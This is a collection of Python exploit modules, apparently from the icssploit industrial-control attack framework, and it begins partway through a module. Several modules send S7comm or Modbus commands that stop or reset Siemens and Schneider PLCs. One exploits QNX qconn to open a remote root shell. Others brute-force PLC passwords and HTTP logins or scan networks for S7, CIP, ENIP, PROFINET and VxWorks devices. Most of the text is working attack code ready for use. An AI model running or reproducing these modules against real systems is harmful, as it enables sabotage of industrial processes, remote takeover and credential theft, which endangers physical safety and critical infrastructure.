            headers = ("Target", "Port", "Login", "Password")
            print_table(headers, *self.credentials)
        else:
            print_error("Credentials not found")

    def invalid_auth(self):
        for i in range(0, 21, 5):
            url = sanitize_url("{}:{}{}".format(self.target, self.port,
                                                self.path))
            headers = {u'Content-Type': u'application/x-www-form-urlencoded'}

            user = "******" * i
            password = "******" * i

            postdata = self.data.replace("{{USER}}",
                                         user).replace("{{PASS}}", password)
            r = requests.post(url,
                              headers=headers,
                              data=postdata,
                              verify=False)
            l = len(r.text)

            if i == 0:
                self.invalid = {"min": l, "max": l}

            if l < self.invalid["min"]:
                self.invalid["min"] = l
            elif l > self.invalid["max"]:
                self.invalid["max"] = l

    def detect_form(self):
        url = sanitize_url("{}:{}{}".format(self.target, self.port,
                                            self.get_form_path()))
        r = requests.get(url, verify=False)
        soup = BeautifulSoup(r.text, "lxml")

        forms = soup.findAll("form")

        if forms is None:
            return None

        res = []
        action = None
        user_name_list = [
            "username", "user", "user_name", "login", "username_login",
            "nameinput", "uname", "__auth_user", "txt_user", "txtusername"
        ]
        password_list = [
            "password", "pass", "password_login", "pwd", "passwd",
            "__auth_pass", "txt_pwd", "txtpwd"
        ]
        found = False

        for form in forms:
            tmp = []

            if not len(form):
                continue

            action = form.attrs.get('action', None)
            if action and not action.startswith("/"):
                action = "/" + action

            for inp in form.findAll("input"):
                attributes = ["name", "id"]

                for atr in attributes:
                    if atr not in inp.attrs.keys():
                        continue

                    if inp.attrs[atr].lower(
                    ) in user_name_list and inp.attrs['type'] != "hidden":
                        found = True
                        tmp.append(inp.attrs[atr] + "=" + "{{USER}}")
                    elif inp.attrs[atr].lower(
                    ) in password_list and inp.attrs['type'] != "hidden":
                        found = True
                        tmp.append(inp.attrs[atr] + "=" + "{{PASS}}")
                    else:
                        if 'value' in inp.attrs.keys():
                            tmp.append(inp.attrs[atr] + "=" +
                                       inp.attrs['value'])
                        elif inp.attrs['type'] not in ("submit", "button"):
                            tmp.append(inp.attrs[atr] + "=")

                if found:
                    res = tmp

        res = list(set(res))
        return (action, '&'.join(res))

    def target_function(self, running, data):
        module_verbosity = boolify(self.verbosity)
        name = threading.current_thread().name
        url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
        headers = {u'Content-Type': u'application/x-www-form-urlencoded'}

        print_status(name, 'process is starting...', verbose=module_verbosity)

        while running.is_set():
            try:
                line = data.next().split(":")
                user = line[0].strip()
                password = line[1].strip()

                postdata = self.data.replace("{{USER}}", user).replace(
                    "{{PASS}}", password)
                r = requests.post(url,
                                  headers=headers,
                                  data=postdata,
                                  verify=False)
                l = len(r.text)

                if l < self.invalid["min"] or l > self.invalid["max"]:
                    if boolify(self.stop_on_success):
                        running.clear()

                    print_success(
                        "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'"
                        .format(self.target, self.port, name, user, password),
                        verbose=module_verbosity)
                    self.credentials.append(
                        (self.target, self.port, user, password))
                else:
                    print_error(
                        "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'"
                        .format(self.target, self.port, name, user, password),
                        verbose=module_verbosity)
            except StopIteration:
                break

        print_status(name, 'process is terminated.', verbose=module_verbosity)
Exemple #12
0
class Exploit(exploits.Exploit):
    __info__ = {
        'name': 'S7comm PLC Scan',
        'authors': [
            'wenzhe zhu <jtrkid[at]gmail.com>'  # icssploit module
        ],
        'description': 'Scan all S7 300/400 PLC with s7comm protocol.',
        'references': [],
    }

    target = exploits.Option(
        '', "string for hosts as nmap use it 'scanme.nmap.org'"
        " or '198.116.0-255.1-127' or '216.163.128.20/20'")
    port = exploits.Option(102,
                           'S7comm port, default is 102/TCP',
                           validators=validators.integer)
    verbose = exploits.Option(0,
                              'Scapy verbose level, 0 to 2',
                              validators=validators.integer)
    min_rack = exploits.Option(
        0, 'Minimum PLC Rack number for scan, default is 0, set to 1 '
        'if you want start with rack 1',
        validators=validators.integer)
    max_rack = exploits.Option(
        0, 'Maximum PLC Rack number for scan, default is 0, set to 1 '
        'if you want scan up to rack 1',
        validators=validators.integer)
    min_slot = exploits.Option(
        2, 'Minimum PLC Slot number for scan, default is 2, set to 4 '
        'if you want start with slot 4',
        validators=validators.integer)
    max_slot = exploits.Option(
        5, 'Maximum PLC Slot number for scan, default is 5, set to 10 '
        'if you want scan up to slot 5',
        validators=validators.integer)
    result = []

    def scan(self, protocol):
        nm = nmap.PortScanner()
        try:
            if protocol == "tcp" or protocol == "TCP":
                nm.scan(hosts=self.target,
                        ports=str(self.port),
                        arguments='-n -sT ')
                return nm
            elif protocol == "udp" or protocol == "UDP":
                print_status(
                    "UDP Scan requires root privileges will using sudo to scan target "
                )
                nm.scan(hosts=self.target,
                        ports=str(self.port),
                        arguments='-n -sU ',
                        sudo=True)
                return nm
        except Exception as err:
            print_error(err)
            return None

    def get_target_info(self, host, port):
        for rack_num in range(self.min_rack, self.max_rack + 1):
            for slot_num in range(self.min_slot, self.max_slot + 1):
                print_status("Tring to scan %s with Rack%s/Slot%s" %
                             (host, rack_num, slot_num))
                order_code = ''
                firmware_version = ''
                module_type_name = ''
                module_name = ''
                serial_number = ''
                ip_address = host
                try:
                    target = S7Client(name='S7Scanner',
                                      ip=host,
                                      port=port,
                                      rack=rack_num,
                                      slot=slot_num)
                    target.connect()
                    order_code, firmware_version, module_type_name, \
                        as_name, module_name, serial_number = target.get_target_info()
                    ip_address = host
                    if order_code != '':
                        self.result.append([
                            order_code, module_type_name, firmware_version,
                            module_name, serial_number,
                            str(rack_num) + '/' + str(slot_num), ip_address
                        ])
                except Exception as err:
                    print_error(err)
                    return False

    def run(self):
        self.result = []
        conf.verb = self.verbose
        nm = self.scan(protocol='TCP')
        for host in nm.all_hosts():
            if nm[host]['tcp'][self.port]['state'] == "open":
                print_success("Host: %s, port:%s is open" % (host, self.port))
                self.get_target_info(host=host, port=self.port)
        unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
        if len(self.result) > 0:
            print_success("Find %s targets" % len(self.result))
            print(tabulate.tabulate(unique_device, headers=TABLE_HEADER))
            print('\r')
        else:
            print_error("Didn't find any target on network %s" % self.target)
Exemple #13
0
class Exploit(exploits.Exploit):
    """
    Exploit implementation for siemens S7-300 and S7-400 PLCs Dos vulnerability.
    """
    __info__ = {
        'name': 'S7-300/400 PLC Control',
        'authors': [
            'wenzhe zhu <jtrkid[at]gmail.com>',
        ],
        'description': 'Use S7comm command to start/stop plc.',
        'references': [

        ],
        'devices': [
            'Siemens S7-300 and S7-400 programmable logic controllers (PLCs)',
        ],
    }

    target = exploits.Option('', 'Target address e.g. 192.168.1.1', validators=validators.ipv4)
    port = exploits.Option(102, 'Target Port', validators=validators.integer)
    slot = exploits.Option(2, 'CPU slot number.', validators=validators.integer)
    command = exploits.Option(2, 'Command 1:start plc, 2:stop plc.', validators=validators.integer)
    sock = None

    def create_connect(self, slot):
        slot_num = chr(slot)
        create_connect_payload = '0300001611e00000001400c1020100c20201'.decode('hex') + slot_num + 'c0010a'.decode('hex')
        self.sock.send(create_connect_payload)
        self.sock.recv(1024)
        self.sock.send(setup_communication_payload)
        self.sock.recv(1024)

    def exploit(self):
        self.sock = socket.socket()
        self.sock.connect((self.target, self.port))
        self.create_connect(self.slot)
        if self.command == 1:
            print_status("Start plc")
            self.sock.send(cpu_start_payload)
        elif self.command == 2:
            print_status("Stop plc")
            self.sock.send(cpu_stop_payload)
        else:
            print_error("Command %s didn't support" % self.command)

    def run(self):
        if self._check_alive():
            print_success("Target is alive")
            print_status("Sending packet to target")
            self.exploit()
            if not self._check_alive():
                print_success("Target is down")
        else:
            print_error("Target is not alive")

    @mute
    # TODO: Add check later
    def check(self):
        pass

    def _check_alive(self):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            sock.connect((self.target, self.port))
            sock.close()
        except Exception:
            return False
        return True
Exemple #14
0
class Exploit(exploits.Exploit):
    __info__ = {
        'name': 'profinet device scan',
        'authors': [
            'wenzhe zhu <jtrkid[at]gmail.com>'  # icssploit module
        ],
        'description': 'Scan all device which support PROFINET-DCP protocol.',
        'references': [],
    }

    nic = exploits.Option('eth0', 'Interface Name e.g eth0, en0')
    timeout = exploits.Option(5,
                              'Timeout for response',
                              validators=validators.integer)
    verbose = exploits.Option(0,
                              'Scapy verbose level, 0 to 2',
                              validators=validators.integer)
    sniff_mac_address = None
    sniff_finished = threading.Event()
    result = []

    def sniff_answer(self):
        self.sniff_finished.clear()
        response = sniff(iface=self.nic,
                         filter="ether dst host %s" % self.sniff_mac_address,
                         timeout=self.timeout)
        self.result = []
        for i in range(len(response)):
            pkt = response[i]
            if pkt[Ether].dst == self.sniff_mac_address:
                Device_Name = ''
                Device_Type = ''
                MAC_Address = pkt[Ether].src
                IP_Address = ''
                Netmask = ''
                GateWay = ''
                if pkt.haslayer(PNDCPIdentDeviceNameOfStationResponseBlock):
                    Device_Name = pkt[
                        PNDCPIdentDeviceNameOfStationResponseBlock].NameOfStation
                if pkt.haslayer(
                        PNDCPIdentDeviceManufacturerSpecificResponseBlock):
                    Device_Type = pkt[
                        PNDCPIdentDeviceManufacturerSpecificResponseBlock].DeviceVendorValue
                if pkt.haslayer(PNDCPIdentIPParameterResponseBlock):
                    IP_Address = pkt[
                        PNDCPIdentIPParameterResponseBlock].IPaddress
                    Netmask = pkt[
                        PNDCPIdentIPParameterResponseBlock].Subnetmask
                    GateWay = pkt[
                        PNDCPIdentIPParameterResponseBlock].StandardGateway
                self.result.append([
                    Device_Name, Device_Type, MAC_Address, IP_Address, Netmask,
                    GateWay
                ])
        self.sniff_finished.set()

    def exploit(self, target_mac):
        packet = Ether(src=self.sniff_mac_address, dst=target_mac, type=0x8892) / ProfinetIO(frameID=0xFEFE) / \
                 PNDCPHeader(ServiceID=5, ServiceType=0, DCPBlocks=[PNDCPIdentRequest()])
        sendp(packet, iface=self.nic)

    def run(self):
        conf.verb = self.verbose
        self.sniff_mac_address = get_if_hwaddr(self.nic)
        p = threading.Thread(target=self.sniff_answer)
        p.setDaemon(True)
        p.start()
        self.exploit(target_mac=PROFINET_BROADCAST_ADDRESS_1)
        self.exploit(target_mac=PROFINET_BROADCAST_ADDRESS_2)
        self.sniff_finished.wait(self.timeout + 1)
        unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
        print_table(TABLE_HEADER, *unique_device)

    def command_export(self, file_path, *args, **kwargs):
        unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
        unique_device = sorted(unique_device)
        export_table(file_path, TABLE_HEADER, unique_device)
Exemple #15
0
class Exploit(exploits.Exploit):
    __info__ = {
        'name':
        'S7 300/400 PLC Password Bruteforce',
        'description':
        'Module performs bruteforce attack against S7 300/400 Device. '
        'If valid password string is found, it is displayed to the user.',
        'authors': [
            'wenzhe zhu <jtrkid[at]gmail.com>',
        ],
        'references': [
            '',
        ],
        'devices': [
            'Siemens S7-300 and S7-400 programmable logic controllers (PLCs)',
        ],
    }

    target = exploits.Option('',
                             'Target address e.g. 192.168.1.1',
                             validators=validators.ipv4)
    port = exploits.Option(102, 'Target Port', validators=validators.integer)
    rack = exploits.Option(0,
                           'CPU rack number.',
                           validators=validators.integer)
    slot = exploits.Option(2,
                           'CPU slot number.',
                           validators=validators.integer)
    password = exploits.Option(
        wordlists.passwords,
        'password string or file with community strings (file://)')
    threads = exploits.Option(3, 'Number of threads')
    verbose = exploits.Option(0,
                              'Verbose scapy output. 1: display, 0: hide',
                              validators=validators.choice([0, 1]))
    stop_on_success = exploits.Option('yes',
                                      'Stop on first valid community string')

    strings = []

    def run(self):
        conf.verb = int(self.verbose)
        self.strings = []
        self.attack()

    @multi
    def attack(self):
        # todo: check if service is up
        if self.password.startswith('file://'):
            s7_pass = open(self.password[7:], 'r')
        else:
            s7_pass = [self.password]

        collection = LockedIterator(s7_pass)
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.strings):
            print_success("Credentials found!")
            headers = ("Target", "Port", "password")
            print_table(headers, *self.strings)
        else:
            print_error("Valid password not found")

    def target_function(self, running, data):
        module_verbosity = boolify(self.verbose)
        name = threading.current_thread().name

        print_status(name, 'thread is starting...', verbose=module_verbosity)
        s7_client = S7Client(name="Siemens PLC",
                             ip=self.target,
                             rack=self.rack,
                             slot=self.slot)
        s7_client.connect()
        if not module_verbosity:
            s7_client.logger.setLevel(50)
        while running.is_set():
            try:
                string = data.next().strip()
                if len(string) > 8:
                    continue
                s7_client.check_privilege()
                if s7_client.protect_level == 1:
                    print_error("Target didn't set password.")
                    return
                s7_client.auth(string)
                if s7_client.authorized:
                    if boolify(self.stop_on_success):
                        running.clear()
                    print_success(
                        "Target: {}:{} {}: Valid password string found - String: '{}'"
                        .format(self.target, self.port, name, string),
                        verbose=module_verbosity)
                    self.strings.append((self.target, self.port, string))

                else:
                    print_error(
                        "Target: {}:{} {}: Invalid community string - String: '{}'"
                        .format(self.target, self.port, name, string),
                        verbose=module_verbosity)

            except StopIteration:
                break

        print_status(name, 'thread is terminated.', verbose=module_verbosity)
Exemple #16
0
class Exploit(exploits.Exploit):
    """
    Module perform dictionary attack with default credentials against HTTP Digest Auth service.
    If valid credentials are found, they are displayed to the user.
    """
    __info__ = {
        'name': 'HTTP Digest Default Creds',
        'description': 'Module perform dictionary attack with default credentials against HTTP Digest Auth service. '
                       'If valid credentials are found, they are displayed to the user.',
        'authors': [
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # icssploit Http Basic auth module
            'Alexander Yakovlev <https://github.com/toxydose>',  # upgrading to perform bruteforce attack against HTTP Digest Auth service
        ],
        'references': [
            '',
        ],
        'devices': [
            'Multi',
        ],
    }

    target = exploits.Option('', 'Target IP address or file with target:port (file://)')
    port = exploits.Option(80, 'Target port')
    threads = exploits.Option(8, 'Number of threads')
    defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
    path = exploits.Option('/', 'URL Path')
    verbosity = exploits.Option(True, 'Display authentication attempts', validators=validators.boolify)
    stop_on_success = exploits.Option(True, 'Stop on first valid authentication attempt', validators=validators.boolify)

    credentials = []

    def run(self):
        self.credentials = []
        self.attack()

    @multi
    def attack(self):
        url = "{}:{}{}".format(self.target, self.port, self.path)

        response = http_request("GET", url)
        if response is None:
            return

        if response.status_code != 401:
            print_status("Target is not protected by Digest Auth")
            return

        if self.defaults.startswith('file://'):
            defaults = open(self.defaults[7:], 'r')
        else:
            defaults = [self.defaults]

        with ThreadPoolExecutor(self.threads) as executor:
            for record in defaults:
                username, password = record.split(':')
                executor.submit(self.target_function, url, username, password)

        if self.credentials:
            print_success("Credentials found!")
            headers = ("Target", "Port", "Login", "Password")
            print_table(headers, *self.credentials)
        else:
            print_error("Credentials not found")

        defaults.close()

    def target_function(self, url, user, password):
        name = threading.current_thread().name

        user = user.encode('utf-8').strip()
        password = password.encode('utf-8').strip()

        response = http_request(method="GET", url=url, auth=HTTPDigestAuth(user, password))

        if response is not None and response.status_code != 401:
            print_success("Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'".format(self.target, self.port, name, user, password), verbose=self.verbosity)
            self.credentials.append((self.target, self.port, user, password))
            if self.stop_on_success:
                raise StopThreadPoolExecutor
        else:
            print_error("Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'".format(self.target, self.port, name, user, password), verbose=self.verbosity)
Exemple #17
0
class Exploit(exploits.Exploit):
    """
    Module performs bruteforce attack against HTTP Basic Auth service.
    If valid credentials are found, they are displayed to the user.
    """
    __info__ = {
        'name':
        'HTTP Basic Bruteforce',
        'description':
        'Module performs bruteforce attack against HTTP Basic Auth service. '
        'If valid credentials are found, they are displayed to the user.',
        'authors': [
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # icssploit module
        ],
        'references': [
            '',
        ],
        'devices': [
            'Multi',
        ],
    }

    target = exploits.Option(
        '', 'Target IP address or file with target:port (file://)')
    port = exploits.Option(80, 'Target port')

    threads = exploits.Option(8, 'Numbers of threads')
    usernames = exploits.Option('admin',
                                'Username or file with usernames (file://)')
    passwords = exploits.Option(wordlists.passwords,
                                'Password or file with passwords (file://)')
    path = exploits.Option('/', 'URL Path')
    verbosity = exploits.Option(True,
                                'Display authentication attempts',
                                validators=validators.boolify)
    stop_on_success = exploits.Option(
        True,
        'Stop on first valid authentication attempt',
        validators=validators.boolify)

    def run(self):
        self.credentials = []
        self.attack()

    @multi
    def attack(self):
        url = "{}:{}{}".format(self.target, self.port, self.path)

        response = http_request(method="GET", url=url)
        if response is None:
            return

        if response.status_code != 401:
            print_status("Target is not protected by Basic Auth")
            return

        if self.usernames.startswith('file://'):
            usernames = open(self.usernames[7:], 'r')
        else:
            usernames = [self.usernames]

        if self.passwords.startswith('file://'):
            passwords = open(self.passwords[7:], 'r')
        else:
            passwords = [self.passwords]

        collection = itertools.product(usernames, passwords)

        with threads.ThreadPoolExecutor(self.threads) as executor:
            for record in collection:
                executor.submit(self.target_function, url, record)

        if self.credentials:
            print_success("Credentials found!")
            headers = ("Target", "Port", "Login", "Password")
            print_table(headers, *self.credentials)
        else:
            print_error("Credentials not found")

    def target_function(self, url, creds):
        name = threading.current_thread().name
        user, password = creds
        user = user.encode('utf-8').strip()
        password = password.encode('utf-8').strip()

        response = http_request(method="GET", url=url, auth=(user, password))

        if response is not None and response.status_code != 401:
            print_success(
                "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'"
                .format(self.target, self.port, name, user, password),
                verbose=self.verbosity)
            self.credentials.append((self.target, self.port, user, password))
            if self.stop_on_success:
                raise StopThreadPoolExecutor
        else:
            print_error(
                "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'"
                .format(self.target, self.port, name, user, password),
                verbose=self.verbosity)
Exemple #18
0
class Exploit(exploits.Exploit):
    __info__ = {
        'name':
        'enip device scan',
        'authors': [
            'wenzhe zhu <jtrkid[at]gmail.com>'  # icssploit module
        ],
        'description':
        'Scan all device which support Ethernet/IP protocol with broadcast discovery packet.',
        'references':
        ['https://github.com/nmap/nmap/blob/master/scripts/enip-info.nse'],
    }

    nic = exploits.Option('eth0', 'Interface Name e.g eth0, en0')
    timeout = exploits.Option(5,
                              'Timeout for response',
                              validators=validators.integer)
    verbose = exploits.Option(0,
                              'Scapy verbose level, 0 to 2',
                              validators=validators.integer)
    sniff_mac_address = None
    sniff_finished = threading.Event()
    result = []

    def sniff_answer(self):
        self.sniff_finished.clear()
        response = sniff(iface=self.nic,
                         filter="ether dst host %s" % self.sniff_mac_address,
                         timeout=self.timeout)
        self.result = []
        for i in range(len(response)):
            pkt = response[i]
            if pkt.haslayer(ENIPHeader):
                product_name = ''
                device_type = ''
                vendor = ''
                revision = ''
                serial_number = ''
                ip_address = ''
                if pkt.haslayer(ListIdentityResponse):
                    product_name = pkt[ListIdentityResponse].ProductName
                    device_type = pkt[ListIdentityResponse].DeviceType
                    if device_type in DEVICE_TYPES.keys():
                        device_type = DEVICE_TYPES[device_type]
                    ip_address = pkt[SocketAddress].SinAddress
                    vendor = pkt[ListIdentityResponse].VendorID
                    if vendor in VENDOR_IDS.keys():
                        vendor = VENDOR_IDS[vendor]
                    revision = pkt[ListIdentityResponse].Revision
                    revision = struct.pack("!H", revision)
                    revision = "{0:d}.{1:d}".format(ord(revision[0]),
                                                    ord(revision[1]))
                    serial_number = pkt[ListIdentityResponse].SerialNumber
                    serial_number = struct.pack("!I",
                                                serial_number).encode('hex')
                self.result.append([
                    product_name, device_type, vendor, revision, serial_number,
                    ip_address
                ])
        self.sniff_finished.set()

    def exploit(self):
        self.discover_local_device()

    def discover_local_device(self):
        self.sniff_mac_address = get_if_hwaddr(self.nic)
        p = threading.Thread(target=self.sniff_answer)
        p.setDaemon(True)
        p.start()
        # wait sniff start
        time.sleep(0.2)
        packet = Ether(
            src=self.sniff_mac_address, dst="ff:ff:ff:ff:ff:ff") / IP(
                src=get_if_addr(self.nic), dst="255.255.255.255") / UDP(
                    sport=44818, dport=44818) / ENIPHeader(Command=0x0063)
        sendp(packet, iface=self.nic)
        self.sniff_finished.wait(self.timeout + 1)

    def run(self):
        conf.verb = self.verbose
        self.exploit()
        unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
        print tabulate.tabulate(unique_device, headers=TABLE_HEADER)
Exemple #19
0
class Exploit(exploits.Exploit):
    __info__ = {
        'name': 'S7-1200 PLC Control',
        'authors': [
            'wenzhe zhu <jtrkid[at]gmail.com>',
        ],
        'description': 'Use S7comm plus command to start/stop/reset plc.'
        'This Module only work with unprotected PLC',
        'references': [],
        'devices': [
            'Siemens S7-1200 programmable logic controllers (PLCs)',
        ],
    }

    target = exploits.Option('',
                             'Target address e.g. 192.168.1.1',
                             validators=validators.ipv4)
    port = exploits.Option(102, 'Target Port', validators=validators.integer)
    command = exploits.Option(1, 'Command 0:start plc, 1:stop plc, '
                              '2: reset plc, 3: reset plc and ip.',
                              validators=validators.integer)
    sock = None

    def start_ctrl(self, payload):
        s = socket.socket()
        s.connect((self.target, self.port))
        s.send(cotp_connect_packet)
        time.sleep(0.2)
        s.recv(1024)
        # get session
        packet = start_session_packet[:165] + session + start_session_packet[
            169:]
        packet = packet[:65] + session[1:] + packet[
            72:140] + host_session + packet[154:]
        s.send(packet)
        rep = s.recv(1024)
        session1 = 896 + struct.unpack('>B', rep[24:25])[0]
        session2 = struct.pack('>L', session1)
        # start_ctrl
        seq = struct.pack('>H', 2)
        payload2 = payload[:18] + seq + session2 + payload[24:]
        s.send(payload2)
        s.recv(1024)
        s.close()

    def exploit(self):
        if self.command == 0:
            print_status("Start plc")
            self.start_ctrl(start_cpu_packet)
        elif self.command == 1:
            print_status("Stop plc")
            self.start_ctrl(stop_cpu_packet)
        elif self.command == 2:
            print_status("reset plc")
            self.start_ctrl(stop_cpu_packet)
            time.sleep(0.5)
            self.start_ctrl(reset_cpu_packet)
        elif self.command == 3:
            print_status("reset plc and ip")
            self.start_ctrl(stop_cpu_packet)
            time.sleep(0.5)
            self.start_ctrl(reset_cpu_and_ip_packet)
        else:
            print_error("Command %s didn't support" % self.command)

    def run(self):
        if self._check_alive():
            print_success("Target is alive")
            print_status("Sending packet to target")
            self.exploit()
            if not self._check_alive():
                print_success("Target is down")
        else:
            print_error("Target is not alive")

    @mute
    # TODO: Add check later
    def check(self):
        pass

    def _check_alive(self):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            sock.connect((self.target, self.port))
            sock.close()
        except Exception:
            return False
        return True
Exemple #20
0
class Exploit(exploits.Exploit):
    __info__ = {
        'name': 'Schneider Quantum 140 series PLC Control',
        'authors': [
            'w3h <https://github.com/w3h>'
            'wenzhe zhu <jtrkid[at]gmail.com>',  # icsmodules
        ],
        'description': 'Use Modbus command to start/stop plc.',
        'references': [
            'https://github.com/w3h/isf/blob/master/module/exploits/Schneider/Schneider_CPU_Comoand.py'
        ],
        'devices': [
            'Schneider Quantum 140 series programmable logic controllers (PLCs)',
        ],
    }

    target = exploits.Option('', 'Target address e.g. 192.168.1.1', validators=validators.ipv4)
    port = exploits.Option(502, 'Target Port', validators=validators.integer)
    command = exploits.Option(2, 'Command 1:start plc, 2:stop plc.', validators=validators.integer)
    sock = None
    session = ""

    def get_session(self):
        self.sock.send(get_session_payload)
        rsp = self.sock.recv(1024)
        if rsp:
            self.session = rsp[:-1].encode('hex')
            return True
        else:
            return False

    def exploit(self):
        self.sock = socket.socket()
        self.sock.settimeout(3)
        self.sock.connect((self.target, self.port))
        if self.get_session():
            if self.command == 1:
                print_status("Start plc")
                buff = ('015300000006005a' + self.session + '40ff00').decode('hex')
                self.sock.send(buff)
            elif self.command == 2:
                print_status("Stop plc")
                buff = ('015800000006005a' + self.session + '41ff00').decode('hex')
                self.sock.send(buff)
            else:
                print_error("Command %s didn't support" % self.command)
        else:
            print_error("Can't get session, stop exploit.")

    def run(self):
        if self._check_alive():
            print_success("Target is alive")
            print_status("Sending packet to target")
            self.exploit()
        else:
            print_error("Target is not alive")

    @mute
    # TODO: Add check later
    def check(self):
        pass

    def _check_alive(self):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            sock.connect((self.target, self.port))
            sock.close()
        except Exception:
            return False
        return True
Exemple #21
0
class Exploit(exploits.Exploit):
    __info__ = {
        'name': 'QNX QCONN Remote Command Execution Vulnerabilit',
        'authors': [
            'David Odell',  # Discovery
            'Mor!p3r <moriper[at]gmail.com>',  # PoC
            'Brendan Coles <bcoles[at]gmail.com>'  # Metasploit
            'wenzhe zhu <jtrkid[at]gmail.com>',  # isfmodule
        ],
        'description': 'This module exploits a vulnerability in the qconn component of '
                       'QNX Neutrino which can be abused to allow unauthenticated users '
                       'to execute arbitrary commands under the context of the "root" user.',
        'references': [
            'OSVDB: 86672',
            'EDB: 21520',
            'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos',
            'http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html'
        ],
        'devices': [
            'QNX SDP 660',
        ],
    }

    target = exploits.Option('', 'Target address e.g. 192.168.1.1', validators=validators.ipv4)
    command = exploits.Option('/bin/sh -', 'command to run e.g. /bin/sh -')
    port = exploits.Option(8000, 'Target Port', validators=validators.integer)

    def exploit(self):
        req = "service launcher\n"
        req += "start/flags run %s\n" % self.command
        sock = socket.socket()
        sock.connect((self.target, self.port))
        sock.send(req)
        t = telnetlib.Telnet()
        t.sock = sock
        t.interact()

    def run(self):
        if self._check_alive():
            print_success("Target is alive")
            print_status("Sending packet to target")
            self.exploit()
            if not self._check_alive():
                print_success("Target port is down")
        else:
            print_error("Target port is not alive")

    @mute
    # TODO: Add check later
    def check(self):
        pass

    def _check_alive(self):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            sock.connect((self.target, self.port))
            sock.close()
        except Exception:
            return False
        return True
Exemple #22
0
class Exploit(exploits.Exploit):
    __info__ = {
        'name': 'cip device scan',
        'authors': [
            'wenzhe zhu <jtrkid[at]gmail.com>'  # icssploit module
        ],
        'description':
        'Scan all device which support Ethernet/IP CIP protocol.',
        'references': [],
    }

    target = exploits.Option(
        '', "String for hosts as nmap use it 'scanme.nmap.org'"
        " or '198.116.0-255.1-127' or '216.163.128.20/20'")
    port = exploits.Option(44818,
                           'Ethernet/IP CIP port, default is 44818/TCP',
                           validators=validators.integer)
    verbose = exploits.Option(0,
                              'Scapy verbose level, 0 to 2',
                              validators=validators.integer)
    max_slot = exploits.Option(
        5, 'Maximum PLC Slot number for scan, default is 5, set to 10 '
        'if you want scan up to slot 10',
        validators=validators.integer)
    output_file = exploits.Option('', "output file path")
    result = []

    def get_target_info(self, host, port):
        product_name = ''
        device_type = ''
        vendor = ''
        revision = ''
        serial_number = ''
        slot = ''
        ip_address = host
        target = CIPClient(name='CIP_Scanner', ip=host, port=port)
        target.connect()
        for slot_num in range(self.max_slot + 1):
            print_status("Tring to scan %s with Slot%s" % (host, slot_num))
            try:
                product_name, device_type, vendor, revision, serial_number = \
                target.get_target_info(port_segment=slot_num)
                print(product_name, device_type, vendor, revision,
                      serial_number)
                slot = slot_num
                ip_address = host
                if serial_number != '':
                    self.result.append([
                        product_name, device_type, vendor, revision,
                        serial_number,
                        str(slot), ip_address
                    ])
            except Exception as err:
                print_error(err)
                return False

    def run(self):
        self.result = []
        conf.verb = self.verbose
        nm = port_scan(protocol='TCP', target=self.target, port=self.port)
        for host in nm.all_hosts():
            if nm[host]['tcp'][self.port]['state'] == "open":
                print_success("Host: %s, port:%s is open" % (host, self.port))
                self.get_target_info(host=host, port=self.port)
        unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
        unique_device = sorted(unique_device, key=lambda x: (x[5], x[6]))

        if len(self.result) > 0:
            print_success("Find %s targets" % len(self.result))
            print_table(TABLE_HEADER, *unique_device,
                        **{'max_column_length': 20})
            print('\r')
        else:
            print_error("Didn't find any target on network %s" % self.target)

    def command_export(self, file_path, *args, **kwargs):
        unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
        unique_device = sorted(unique_device, key=lambda x: (x[5], x[6]))
        export_table(file_path, TABLE_HEADER, unique_device)
Exemple #23
0
class Exploit(exploits.Exploit):
    __info__ = {
        'name': 'vxworks 6.x device scan',
        'authors': [
            'wenzhe zhu <jtrkid[at]gmail.com>'  # icssploit module
        ],
        'description': 'Scan all vxworks 6.x device with wdbrpc version 2 protocol.',
        'references': [
        ],
    }

    target = exploits.Option('', "string for hosts as nmap use it 'scanme.nmap.org'"
                                 " or '198.116.0-255.1-127' or '216.163.128.20/20'")
    port = exploits.Option(17185, 'WdbRPC port, default is 17185/UDP', validators=validators.integer)
    verbose = exploits.Option(0, 'Scapy verbose level, 0 to 2', validators=validators.integer)
    result = []

    @staticmethod
    def sizeof_fmt(num, suffix='B'):
        for unit in ['', 'K', 'M', 'G', 'T', 'P', 'E', 'Z']:
            if abs(num) < 1024.0:
                return "%3.1f%s%s" % (num, unit, suffix)
            num /= 1024.0
        return "%.1f%s%s" % (num, 'Yi', suffix)

    def get_target_info(self, host, port):
        target_type = ''
        vxworks_version = ''
        cpu_type = ''
        cpu_model = ''
        memory_size = ''
        ip_address = host
        try:
            target = Wdb2Client(name='Vxworks_6.6', ip=host, port=self.port)
            target.connect()
            target.get_target_info()
            target_type = target.target_info['Target_Type']
            vxworks_version = target.target_info['Vx_Version']
            cpu_type = target.target_info['CPU_Type']
            cpu_model = target.target_info['CPU_Model']
            memory_size = self.sizeof_fmt(target.target_info['Memory_Size'])
            ip_address = host
            self.result.append([target_type, vxworks_version, cpu_type, cpu_model, memory_size, ip_address])
        except Exception as err:
            print_error(err)
            return False

    def run(self):
        conf.verb = self.verbose
        nm = port_scan(protocol='UDP', target=self.target, port=self.port)
